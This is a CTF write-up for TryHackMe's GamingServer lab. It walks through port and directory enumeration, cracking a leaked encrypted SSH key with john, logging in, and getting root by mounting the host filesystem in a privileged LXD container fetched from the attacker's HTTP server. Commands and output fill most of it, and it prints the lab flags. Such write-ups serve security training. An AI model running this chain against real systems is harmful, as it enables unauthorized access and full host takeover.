/ TRYHACKME, CTF, OSCP

GamingServer Write Up

GamingServer

Overview

GamingServer is an easy Boot2Root machine from TryHackMe with 2 flags available ‘user.txt’ and ‘root.txt’.

Nmap

TryHackMe will assign a dynamic IP as part of the deployment, the IP I will be targeting is ‘10.10.100.235’. I start by doing an nmap scan to check what ports are open.

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #nmap -sC -sV -oA nmap/initial 10.10.100.235
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-06 14:40 BST
Nmap scan report for 10.10.100.235
Host is up (0.026s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
|   256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_  256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: House of danak
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.88 seconds

Two ports, 22 and 80. I will look at port 80 first.

Enumeration

Port 80 brings us to a simple web page, while I look around the website I started a Gobuster in the background.

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #gobuster dir -u http://10.10.100.235 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.100.235
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/06 14:45:50 Starting gobuster
===============================================================
/uploads (Status: 301)
/secret (Status: 301)
/server-status (Status: 403)
===============================================================
2020/09/06 14:48:03 Finished
===============================================================

Looking at the source I do see a comment aimed at someone called ‘john’, could be a possible username.

john, please add some actual content to the site! lorem ipsum is horrible to look at.

source

On the DRAAGAN LORE page is a link to ‘uploads’ which redirects to a directory.

draaganlore

The directory contains 3 files.

uploads

Using wget I downloaded each one.

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #wget http://10.10.100.235/uploads/dict.lst
--2020-09-06 14:50:33--  http://10.10.100.235/uploads/dict.lst
Connecting to 10.10.100.235:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2006 (2.0K)
Saving to: ‘dict.lst’

dict.lst                              100%[========================================================================>]   1.96K  --.-KB/s    in 0s   

2020-09-06 14:50:33 (229 MB/s) - ‘dict.lst’ saved [2006/2006]

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #wget http://10.10.100.235/uploads/manifesto.txt
--2020-09-06 14:50:52--  http://10.10.100.235/uploads/manifesto.txt
Connecting to 10.10.100.235:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3070 (3.0K) [text/plain]
Saving to: ‘manifesto.txt’

manifesto.txt                         100%[========================================================================>]   3.00K  --.-KB/s    in 0s   

2020-09-06 14:50:52 (530 MB/s) - ‘manifesto.txt’ saved [3070/3070]

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #wget http://10.10.100.235/uploads/meme.jpg
--2020-09-06 14:51:09--  http://10.10.100.235/uploads/meme.jpg
Connecting to 10.10.100.235:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15457 (15K) [image/jpeg]
Saving to: ‘meme.jpg’

meme.jpg                              100%[========================================================================>]  15.09K  --.-KB/s    in 0.02s

2020-09-06 14:51:09 (679 KB/s) - ‘meme.jpg’ saved [15457/15457]

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #

Looking at each file:

  • dict.lst - Appears to be a list of passwords
  • manifesto.txt - Is a copy of ‘The Hacker Manifesto’ by The Mentor from January 8 1986
  • meme.jpg - Is an image of a muppet

The dict.lst could be useful, looking back at the Gobuster output is a /secret directory.

secret

Inside is a SecretKey. Again I will download with wget.

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]                                                                                     
└──╼ #wget http://10.10.100.235/secret/secretKey                                                                                                 
--2020-09-06 14:50:07--  http://10.10.100.235/secret/secretKey                                                                                   
Connecting to 10.10.100.235:80... connected.                                                                                                     
HTTP request sent, awaiting response... 200 OK                                                                                                   
Length: 1766 (1.7K)                                                                                                                              
Saving to: ‘secretKey’                                                                                                                           
                                                                                                                                                 
secretKey                             100%[========================================================================>]   1.72K  --.-KB/s    in 0s 
                                                                                                                                                 
2020-09-06 14:52:07 (223 MB/s) - ‘secretKey’ saved [1766/1766]   

Great it looks like a encrypted SSH id_rsa key, lets use the password list from the upload folder to crack.

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #cat secretKey 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547

T7+F+3ilm5FcFZx24mnrugMY455vI461ziMb4NYk9YJV5uwcrx4QflP2Q2Vk8phx
H4P+PLb79nCc0SrBOPBlB0V3pjLJbf2hKbZazFLtq4FjZq66aLLIr2dRw74MzHSM
FznFI7jsxYFwPUqZtkz5sTcX1afch+IU5/Id4zTTsCO8qqs6qv5QkMXVGs77F2kS
Lafx0mJdcuu/5aR3NjNVtluKZyiXInskXiC01+Ynhkqjl4Iy7fEzn2qZnKKPVPv8
9zlECjERSysbUKYccnFknB1DwuJExD/erGRiLBYOGuMatc+EoagKkGpSZm4FtcIO
IrwxeyChI32vJs9W93PUqHMgCJGXEpY7/INMUQahDf3wnlVhBC10UWH9piIOupNN
SkjSbrIxOgWJhIcpE9BLVUE4ndAMi3t05MY1U0ko7/vvhzndeZcWhVJ3SdcIAx4g
/5D/YqcLtt/tKbLyuyggk23NzuspnbUwZWoo5fvg+jEgRud90s4dDWMEURGdB2Wt
w7uYJFhjijw8tw8WwaPHHQeYtHgrtwhmC/gLj1gxAq532QAgmXGoazXd3IeFRtGB
6+HLDl8VRDz1/4iZhafDC2gihKeWOjmLh83QqKwa4s1XIB6BKPZS/OgyM4RMnN3u
Zmv1rDPL+0yzt6A5BHENXfkNfFWRWQxvKtiGlSLmywPP5OHnv0mzb16QG0Es1FPl
xhVyHt/WKlaVZfTdrJneTn8Uu3vZ82MFf+evbdMPZMx9Xc3Ix7/hFeIxCdoMN4i6
8BoZFQBcoJaOufnLkTC0hHxN7T/t/QvcaIsWSFWdgwwnYFaJncHeEj7d1hnmsAii
b79Dfy384/lnjZMtX1NXIEghzQj5ga8TFnHe8umDNx5Cq5GpYN1BUtfWFYqtkGcn
<<SNIP>>

I used the ssh2john Python script to extract the password hash from the key file.

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #/usr/share/john/ssh2john.py secretKey > cracked
┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #cat cracked 
secretKey:$sshng$1$16$82823EE792E75948EE2DE731AF1A0547$1200$4fbf85fb78a59b915c159c76e269ebba0318e39e6f238eb5ce231be0d624f58255e6ec1caf1e107e53f6436564f
298711f83fe3cb6fbf6709cd12ac138f065074577a632c96dfda129b65acc52edab816366aeba68b2c8af6751c3be0ccc748c1739c523b8ecc581703d4a99b64cf9b13717d5a7dc87e214e7
f21de334d3b023bcaaab3aaafe5090c5d51acefb1769122da7f1d2625d72ebbfe5a477363355b65b8a672897227b245e20b4d7e627864aa3978232edf1339f6a999ca28f54fbfcf739440a3
1114b2b1b50a61c7271649c1d43c2e244c43fdeac64622c160e1ae31ab5cf84a1a80a906a52666e05b5c20e22bc317b20a1237daf26cf56f773d4a8732008919712963bfc834c5106a10dfd
f09e5561042d745161fda6220eba934d4a48d26eb2313a058984872913d04b5541389dd00c8b7b74e4c635534928effbef8739dd79971685527749d708031e20ff90ff62a70bb6dfed29b2f
2bb2820936dcdceeb299db530656a28e5fbe0fa312046e77dd2ce1d0d630451119d0765adc3bb982458638a3c3cb70f16c1a3c71d0798b4782bb708660bf80b8f583102ae77d900209971a8
6b35dddc878546d181ebe1cb0e5f15443cf5ff889985a7c30b682284a7963a398b87cdd0a8ac1ae2cd57201e8128f652fce83233844c9cddee666bf5ac33cbfb4cb3b7a03904710d5df90d7
c5591590c6f2ad8869522e6cb03cfe4e1e7bf49b36f5e901b412cd453e5c615721edfd62a569565f4ddac99de4e7f14bb7bd9f363057fe7af6dd30f64cc7d5dcdc8c7bfe115e23109da0c37
88baf01a1915005ca0968eb9f9cb9130b4847c4ded3fedfd0bdc688b1648559d830c276056899dc1de123eddd619e6b008a26fbf437f2dfce3f9678d932d5f5357204821cd08f981af13167
1def2e983371e42ab91a960dd4152d7d6158aad906727bf32d224cd3b44082a03e48f018f250a75def2037e36fffdfbffbfba279f785b4e9aba435369117ebf49859631f5390bc13a8e3f45
<<SNIP>>
┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #

Now with the hash I can use john to crack.

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #john cracked -w dict.lst 
Warning: only loading hashes of type "SSH", but also saw type "tripcode"
Use the "--format=tripcode" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
          (secretKey)
1g 0:00:00:00 DONE (2020-09-06 15:20) 100.0g/s 354600p/s 354600c/s 354600C/s 1701d..sss
Session completed
┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #

It doesn’t take long to crack. Using the key and password I should be able to SSH in to the machine. However, I dont know the username, going back to the HTML comment earlier, I will try with the username ‘john’. First I need to chmod 600 the key file before I can use it.

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #chmod 600 secretKey 
┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #ssh -i secretKey john@10.10.100.235
The authenticity of host '10.10.100.235 (10.10.100.235)' can't be established.
ECDSA key fingerprint is SHA256:LO5bYqjXqLnB39jxUzFMiOaZ1YnyFGGXUmf1edL6R9o.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.100.235' (ECDSA) to the list of known hosts.
Enter passphrase for key 'secretKey': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-76-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Sep  6 14:23:42 UTC 2020

  System load:  0.0               Processes:           96
  Usage of /:   41.3% of 9.78GB   Users logged in:     0
  Memory usage: 40%               IP address for eth0: 10.10.100.235
  Swap usage:   0%


0 packages can be updated.
0 updates are security updates.


Last login: Mon Jul 27 20:17:26 2020 from 10.8.5.10
john@exploitable:~$ 

Im in! Lets grab the first flag.

john@exploitable:~$ ls
user.txt
john@exploitable:~$ cat user.txt
a5c2ff8b9c2e
john@exploitable:~$ 

Privilege Escalation

Now on to the root flag. Doing the command ‘id’ shows John is part of many groups including ‘sudo’ and ‘lxd’. I tried ‘sudo -l’ but as I don’t have John’s password I cant run any commands as sudo.

john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
john@exploitable:~$ sudo -l
[sudo] password for john: 
Sorry, try again.
[sudo] password for john: 
Sorry, try again.
[sudo] password for john: 
sudo: 3 incorrect password attempts
john@exploitable:~$ 

However, lxd is interesting. LXD is a Linux container system. Googling ‘lxd privesc’ led me to an article with a overview of LXD, LXC and container technology. Also a step my step guide on how to use LXD to gain root privilege to the host machine.

First I use git clone to download the alpine builder. Once downloaded I ran the build script.

┌─[✗]─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #git clone  https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Receiving objects: 100% (27/27), 16.00 KiB | 199.00 KiB/s, done.
Resolving deltas: 100% (6/6), done.
┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer]
└──╼ #cd lxd-alpine-builder
┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer/lxd-alpine-builder]
└──╼ #sudo ./build-alpine
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
Downloading alpine-mirrors-3.5.10-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-keys-2.2-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading apk-tools-static-2.10.5-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK
Verified OK
Selecting mirror http://mirror1.hs-esslingen.de/pub/Mirrors/alpine/v3.12/main
fetch http://mirror1.hs-esslingen.de/pub/Mirrors/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
(1/19) Installing musl (1.1.24-r9)
(2/19) Installing busybox (1.31.1-r19)
Executing busybox-1.31.1-r19.post-install
(3/19) Installing alpine-baselayout (3.2.0-r7)
Executing alpine-baselayout-3.2.0-r7.pre-install
Executing alpine-baselayout-3.2.0-r7.post-install
(4/19) Installing openrc (0.42.1-r11)
Executing openrc-0.42.1-r11.post-install
(5/19) Installing alpine-conf (3.9.0-r1)
(6/19) Installing libcrypto1.1 (1.1.1g-r0)
(7/19) Installing libssl1.1 (1.1.1g-r0)
(8/19) Installing ca-certificates-bundle (20191127-r4)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r19)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r1)
(13/19) Installing busybox-suid (1.31.1-r19)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.6-r0)
(16/19) Installing musl-utils (1.1.24-r9)
(17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages

I now have a .tar.gz file I can copy on to the victim machine.

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer/lxd-alpine-builder]
└──╼ #ls
alpine-v3.12-x86_64-20200906_1552.tar.gz  build-alpine  LICENSE  README.md

Using Python3 I started a http server.

┌─[root@parrot]─[/home/daz/Documents/TryHackMe/GamingServer/lxd-alpine-builder]
└──╼ #python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Back on the victim machine, I use wget to download the file.

john@exploitable:~$ cd /tmp
john@exploitable:/tmp$ wget http://10.8.21.217/alpine-v3.12-x86_64-20200906_1552.tar.gz
--2020-09-06 14:55:47--  http://10.8.21.217/alpine-v3.12-x86_64-20200906_1552.tar.gz
Connecting to 10.8.21.217:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3109382 (3.0M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200906_1552.tar.gz’

alpine-v3.12-x86_64-20200906_1552.tar 100%[========================================================================>]   2.96M  1.01MB/s    in 2.9s

2020-09-06 14:55:50 (1.01 MB/s) - ‘alpine-v3.12-x86_64-20200906_1552.tar.gz’ saved [3109382/3109382]

john@exploitable:/tmp$ 

Still following the steps from the article, I import the image and run, mounting the root file system.

john@exploitable:/tmp$ lxc image import ./alpine-v3.12-x86_64-20200906_1552.tar.gz --alias myimage
Image imported with fingerprint: 4397c7dce96e22e14f6c108eebaeb629f21273dd5a7791754ad0a082c026b09c
john@exploitable:/tmp$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE         |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| myimage | 4397c7dce96e | no     | alpine v3.12 (20200906_15:52) | x86_64 | 2.97MB | Sep 6, 2020 at 2:56pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
john@exploitable:/tmp$ lxc init myimage ignite -c security.privileged=true
Creating ignite
john@exploitable:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
john@exploitable:/tmp$ lxc start ignite
john@exploitable:/tmp$ lxc exec ignite /bin/sh
id~ # id
uid=0(root) gid=0(root)
~ # cd /mnt/root/root/
/mnt/root/root # ls
root.txt
/mnt/root/root # cat root.txt 
2e337b8c9f3a
/mnt/root/root # 

We have the root flag! Thank you for reading.

============================================================

Any comments or feedback welcome! You can find me on twitter.

Buy Me A Coffee